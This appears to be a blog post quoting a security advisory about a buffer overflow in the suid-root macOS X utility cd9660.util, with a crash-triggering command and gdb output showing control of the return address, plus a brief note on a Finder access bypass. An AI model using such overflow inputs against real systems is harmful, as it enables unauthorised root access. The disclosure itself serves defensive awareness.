privilege escalation in MacOS X (for non-techies: that's bad)

[Kellanved]

Bad, but not catastrophic (nor unknown in Windows).
read more:
--snip
Hi,

It appears that parts of MacOSX that didn't come from BSD are
not very well written and have significant security issues.

An example is a /System/Library/Filesystems/cd9660.fs/cd9660.util
utility. It is suid root and it is vulnerable to a classic buffer
overflow due to the lack of input validation.

Demonstration:

sdsx:/System/Library/Filesystems/cd9660.fs max$ ls -la cd9660.util
-rwsr-xr-x 1 root wheel 20476 23 Sep 23:53 cd9660.util

sdsx:/System/Library/Filesystems/cd9660.fs max$ ./cd9660.util -p `perl -e "print 'A'x512"`
Segmentation fault

sdsx:/System/Library/Filesystems/cd9660.fs root# gdb -core /cores/core.1405 ./cd9660.util

Reading symbols for shared libraries .... done
Core was generated by `./cd9660.util'.
#0 0x9000d360 in strcat ()
(gdb) where
#0 0x9000d360 in strcat ()
#1 0x00002b84 in main ()
#2 0x41414141 in ?? ()

--snap
http://www.securityfocus.com/archive/1/347578


Since then one more vulnerability has been found: the Finder allows users to access folders and applications normally locked to them. All one has to do is to use the arrow-keys instead of the mouse.